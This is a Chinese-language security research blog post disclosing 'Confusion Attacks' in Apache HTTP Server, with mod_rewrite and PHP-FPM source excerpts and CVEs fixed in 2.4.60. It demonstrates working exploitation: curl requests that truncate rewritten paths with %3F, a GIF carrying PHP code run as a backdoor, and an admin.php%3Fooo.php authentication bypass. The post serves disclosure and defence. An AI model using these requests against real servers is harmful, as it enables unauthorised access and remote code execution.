混淆攻击:挖掘Apache HTTP Server中的隐藏语义歧义漏洞

本文深入探讨Apache HTTP Server中的架构问题,揭示了多种混淆攻击手法,包括文件名混淆、文档根混淆和处理程序混淆,涉及9个新漏洞、20种利用方式及30多个案例分析,展示了如何绕过访问控制、泄露源代码及实现远程代码执行。

混淆攻击:挖掘Apache HTTP Server中的隐藏语义歧义漏洞

在故事之前

这里纯粹是一些个人的Murmur,如果只对技术细节感兴趣可以直接跳到 —— 故事是如何开始的?

作为一名研究员、最大的快乐应该就是当自己的作品被同行关注并理解。所以当完成一个作品并拥有丰硕的成果后,理所当然会想要让它被世界看到 —— 这也是为什么我会多次在Black Hat USA以及DEFCON上分享的缘故。

在读这篇文章的你也知道,我从2022后就拿不到一个合法的签证进入美国(在免签计划中的台湾,通常只需要在线申请,数分钟到数小时内就能取得旅行授权),导致错过Black Hat USA 2022的实体演讲。甚至2023到秘鲁还有复活节岛独旅也无法从美国转机 :(

为了解决这个情况,我从今年一月就开始准备B1/B2签证、撰写各式文件、到大使馆面试以及漫无止尽的等待,这不是一件好玩的事,但为了让作品被看到,还是花了非常多的时间在为了签证奔波,以及寻求各种可能,甚至到会议开始的前三个礼拜,还不清楚发表是否会被取消(BH一开始只接受现场演讲,不过谢谢审稿委员对这份研究的认可最终还是能透过预录的形式发表),所以你所看到的所有内容包含投影片、录影以及部落格文字都是在短短数十天内完成的。 😖

我只是一个单纯的研究员,自认问心无愧,对漏洞的态度也始终是 —— 漏洞就该让它被厂商知道以及修复。

写这些文字也不为了什么,纯粹纪录下一些无奈的心情、今年所做过的努力,以及谢谢在这个过程中帮助过我的人,谢谢你们 :)

故事是如何开始的?

大概是在今年年初的时候,我开始思考下一个研究的目标,也许你知道我总是希望挑战那些影响整个互联网的大目标,所以开始寻找一些看似复杂的主题或有趣的开源专案,例如Nginx、PHP、甚至开始看起RFC来强化自己对于协议实作细节的认知。

虽然大部分的尝试都以失败告终(不过有些也许会变成下一篇部落格主题 😉),但在细细品尝这些程式码时,我回忆起了曾经在去年年中短暂看过Apache HTTP Server原始码这件事!

尽管最终由于工作的时程规划并无深入的阅读程式码,但在那时就已经从它的编码风格上「闻」到了一些不太好的味道。于是在今年决定继续下去,把「为什么闻起来怪怪的」这件事从原本只是一个说不出的「感觉」具体化,深入下去研究Apache HTTP Server!

为什么Apache HTTP Server闻起来臭臭的?

首先,Apache HTTP Server是一个由「模块们」建构起来的世界,从它官方文件中也看到其对于自身模块化(MPMs - Multi-Processing Modules)的自豪:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

整个Httpd的服务需要由数百个小模块齐心合力,共同合作才能完成客户端的HTTP请求,官方所列出的136个模块其中约有快一半是预设启用或经常被使用的模块!

而更令人惊讶的是,这么多模块在处理客户端HTTP请求的时候,彼此之间还要共同维护着一份非常巨大的request_rec结构。

这个结构包括了在处理HTTP时会用到的一切元素,详细的定义可以从include/httpd.h中找到。

所有模块都依赖这个巨大的结构去同步、沟通,甚至交换资料。

这个内部结构会像是抛接球般在所有模块间传递来传递去,每个模块都可以根据自己的喜好去随意修改这个结构上的任意值!

这样子的合作方式从软件工程的角度来说其实不是什么新鲜事,个体只需专心把份内事完成,只要所有人都乖乖完成自己的工作,那客户就可以正常享受Httpd所提供的服务。

这样子的分工在数个模块内可能还没什么问题,但如果今天把规模放大到数百个模块间的协同合作 —— 它们真的有办法好好合作吗? 🤔

所以我们的出发点很简单 —— 模块间其实并不完全了解彼此的实作细节,但却又被要求要一起合作。

每个模块可能由不同的开发者实作,程式码历经多年的迭代、重整以及修改,它们真的还清楚自己在做什么吗?

就算对自己了若指掌,那对其它模块呢?

在缺乏一个好的开发标准或使用准则下,这中间必然会存在很多小缝隙是我们可以利用的!

关于这次的新攻击面:Confusion Attacks

基于前面的思考,我们开始专注在研究这些模块间的「关系」以及「交互作用」。

如果有一个模块不小心修改到了它觉得不重要但对另一个模块至关重要的结构字段,那可能就会影响该模块的判断。

甚至更进一步,如果Apache HTTP Server对这些结构的定义不够精确,导致不同模块对同一个字段在理解上有着根本的不一致,这都可能产生安全上的风险!

从这个出发点我们发展出了三种不同的攻击,由于这些攻击或多或少都模块对于结构字段的误用有关,因此把这个攻击面命名为「Confusion Attack」,而以下是我们所发展出的攻击:

  • Filename Confusion
  • DocumentRoot Confusion
  • Handler Confusion

从这些攻击出发我们找到了9个不同的漏洞:

  • CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  • CVE-2024-39573 - Apache HTTP Server proxy encoding problem
  • CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
  • CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
  • CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
  • CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
  • CVE-2024-38473 - Apache HTTP Server proxy encoding problem
  • CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
  • CVE-2024-?????? - [redacted]

这些漏洞都透过官方的安全信箱回报,并由Apache HTTP Server团队在2024-07-01发布安全性通报以及2.4.60更新(详细可参考官方公告)。

由于这是一个针对Httpd架构以及其内部机制所带来的新攻击面,理所当然第一个参与的人可以找到最多漏洞,因此我也是目前拥有最多Apache HTTP Server CVE的人 😉,导致很多更新修复由于其历史架构无法向下兼容。

所以对于很多运行许久的正式服务器来说修复并不是一件容易的事,若网站管理员不经思考就直接更新反而会打破许多旧有的设定造成服务中断。 😨

接下来就开始介绍这次发展出来的攻击们吧!

🔥 1. Filename Confusion

首先,第一个是基于Filename字段上的Confusion,从字面上来看r->filename应该是一个文件系统路径,然而在Httpd中,有些模块会把它当成网址来处理。

如果在HTTP请求的上下文中,有些模块把r->filename当成文件路径,而其他模块将它当成网址,这其中的不一致就会造成安全上的问题!

⚔️ Primitive 1-1. Truncation

所以哪些模块会把r->filename当成网址呢?

首先是mod_rewrite允许网站管理员透过RewriteRule语法轻松地将路径透过指定的规则改写:

1
RewriteRule Pattern Substitution [flags]

其中目标可以是一个文件系统路径或是一个网址,我想这应该是一个为了使用者体验所做出的方便,但同时这个「方便」也带出了一些风险,例如在改写路径时,mod_rewrite会强制把结果视为网址处理(splitout_queryargs()),这导致了在HTTP请求中可以透过一个问号%3F去截断RewriteRule后面的路径或网址,并引出以下两种攻击手法。

Path: modules/mappers/mod_rewrite.c#L4141

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
 * Apply a single RewriteRule
 */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
    ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
    apr_array_header_t *rewriteconds;
    rewritecond_entry *conds;
    
    // [...]
    
    for (i = 0; i < rewriteconds->nelts; ++i) {
        rewritecond_entry *c = &conds[i];
        rc = apply_rewrite_cond(c, ctx);
        
        // [...] do the remaining stuff
        
    }
    
    /* Now adjust API's knowledge about r->filename and r->args */
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);         // <------- [!!!] Truncate the `r->filename`
    
    // [...]
}

✔️ 1-1-1. Path Truncation

首先,第一个攻击手法是文件系统路径上的截断,想像下面这个RewriteRule:

1
2
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

服务器会根据网址路径/user/后的用户名开启相对应的个人设定文件,例如:

1
2
$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

由于mod_rewrite会强制将重写后的结果当成一个网址处理,因此虽然目标是一个文件系统路径,但却可以透过一个问号去截断后方的/profile.yml例如:

1
2
$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

这是我们的第一个攻击手法 —— 路径截断。

对于这个攻击手法的探索先稍稍停留在这边,虽然目前看起来还只是一个小瑕疵,但请先记好它,因为这会在之后的攻击中一再的出现,慢慢把这个看似无用的小破口撕裂开来! 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

截断手法的第二个利用是误导RewriteFlag的设置,想像网站管理员透过下列的RewriteRule去管理网站中路径以及相对应模块:

1
2
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果请求副档名是.php结尾则加上mod_php相对应的处理器(此外也可以是环境变量或是Content-Type,关于标志的详细设定可参考官方的手册RewriteRule Flags)。

由于mod_rewrite的截断行为发生在正规表达式匹配后,因此恶意的攻击者可以利用原本的规则,透过?将RewriteFlag设定到不属于它们的请求上。

例如上传一个夹带恶意PHP程式码的GIF图片并透过恶意请求将图片当成后门执行:

1
2
3
4
5
$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>

$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ Primitive 1-2. ACL Bypass

Filename Confusion的第二个攻击手法发生在mod_proxy身上,相较前一个攻击是无条件将目标当成网址处理,这次则是因为模块间对r->filename的理解不一致所导致的认证及存取控制绕过!

mod_proxy会将r->filename当成网址这件事情其实很合理,因为原本Proxy的目的就是将请求「导向」到其它网址上,但安全往往就是单独拿出来看没问题,搭配在一起就出问题了!

特别是当大多数模块预设将r->filename视为文件系统路径时,试想一下假设今天你使用基于文件系统的存取控制模块,而现在mod_proxy又会把r->filename当成网址,这其中的不一致就可以导致存取控制或是认证被绕过!

一个经典的例子是,网站管理员透过Files语法去对单一文件加上限制,例如admin.php:

1
2
3
4
5
6
<Files "admin.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

在预设安装的PHP-FPM环境中,这种设定可以被直接绕过!

顺道一提这也是Apache HTTP Server中最常见到的认证方式!

假设今天你浏览了这样的网址:

1
http://server/admin.php%3Fooo.php

首先在这个网址的HTTP生命周期中,认证模块会将请求的文件名称与被保护的文件进行比对,此时r->filename字段是admin.php?ooo.php理所当然与admin.php不符合,于是模块会认为当前请求不需要认证。

然而PHP-FPM的设定文件又设定当收到结尾为.php的请求时透过SetHandler语法将请求转交给mod_proxy:

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

1
2
3
4
5
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>

mod_proxy会将r->filename重写成以下网址并根据其中的协议呼叫子模块mod_proxy_fcgi处理后续FastCGI协议的逻辑:

1
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由于这时后端在收到文件名称时已经是一个奇怪的格式了,PHP-FPM只好对这个行为做特别处理,其中处理的逻辑如下:

Path: sapi/fpm/fpm/fpm_main.c#L1044

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"

if (env_script_filename &&
    strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
    /* advance to first character of hostname */
    char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
    while (*p != '\0' && *p != '/') {
        p++;    /* move past hostname and port */
    }
    if (*p != '\0') {
        /* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */
        memmove(env_script_filename, p, strlen(p) + 1);
        apache_was_here = 1;
    }
    /* ignore query string if sent by Apache (RewriteRule) */
    p = strchr(env_script_filename, '?');
    if (p) {
        *p =0;
    }
}

可以看到PHP-FPM先对文件名称正规化并对其中的问号?进行分隔取出其中实际的文件路径并执行(也就是/var/www/html/admin.php)。

所以基本上所有使用Files语法针对单一PHP档案的认证或是存取控制设定在运行PHP-FPM的情境下都存在风险! 😮

从GitHub上可以找到非常多潜在有风险的设定,例如被限制在只有内网才能存取的phpinfo():

1
2
3
4
5
6
7
8
# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
    # LOCAL ACCESS ONLY
    # Require local 

    # LOCAL AND LAN ACCESS
    Require ip 10 172 192.168
</Files>

使用.htaccess阻挡起来的Adminer:

1
2
3
4
<Files adminer.php>
    Order Allow,Deny
    Deny from all
</Files>

被保护起来的xmlrpc.php:

1
2
3
4
<Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
</Files>

防止直接存取的命令行工具:

1
2
3
<Files "cron.php">
    Deny from all
</Files>

透过认证模块以及mod_proxy间对r->filename字段理解的不一致,上面所有的例子都可以透过一个?成功绕过!

🔥 2. DocumentRoot Confusion

接下来要介绍的攻击是基于DocumentRoot上的Confusion Attack!

首先你可以思考一下,对于下面这样子的Httpd设定:

1
2
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

当浏览http://server/html/about时,到底实际Httpd会开启哪个档案?

是根目录下的/about.html还是DocumentRoot下的/var/www/html/about.html呢?

答案是 —— 两个路径都会存取。

这也是我们的第二个Confusion Attack,对于任意[1]的RewriteRule,Httpd总是会尝试开启带有DocumentRoot的路径以及没有的路径!

有趣吧 😉

[1] 位于Server Config或VirtualHost Block内

Path: modules/mappers/mod_rewrite.c#L4939

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
        uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
    }

    if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) {     // <------ [1] access without root
        int res;
        char *tmp = r->uri;

        r->uri = r->filename;
        res = ap_core_translate(r);             // <------ [2] access with root
        r->uri = tmp;

        if (res != OK) {
            rewritelog((r, 1, NULL, "prefixing with document_root of %s"
                        " FAILED", r->filename));

            return res;
        }

        rewritelog((r, 2, NULL, "prefixed with document_root to %s",
                    r->filename));
    }

    rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
    return OK;
}

当然绝大部分的情况是目标档案不存在,于是Httpd会存取带有DocumentRoot的版本,但这个行为已经让我们能够「故意的」去存取Web Root以外的路径,如果今天可以控制RewriteRule的目标前缀那我们是不是就能浏览操作系统上的任意档案了?

这也是我们第二个Confusion Attack的精神!

从GitHub中可以找到千千万万个有问题的写法,有趣的是甚至连官方的范例文件都是易遭受攻击的:

1
2
3
# Remove mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"

除此之外还有其它亦受影响的RewriteRule例如基于缓存需求或是将想副档名隐藏起来的URL Masking规则:

1
RewriteRule  "^/html/(.*)$"  "/$1.html"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计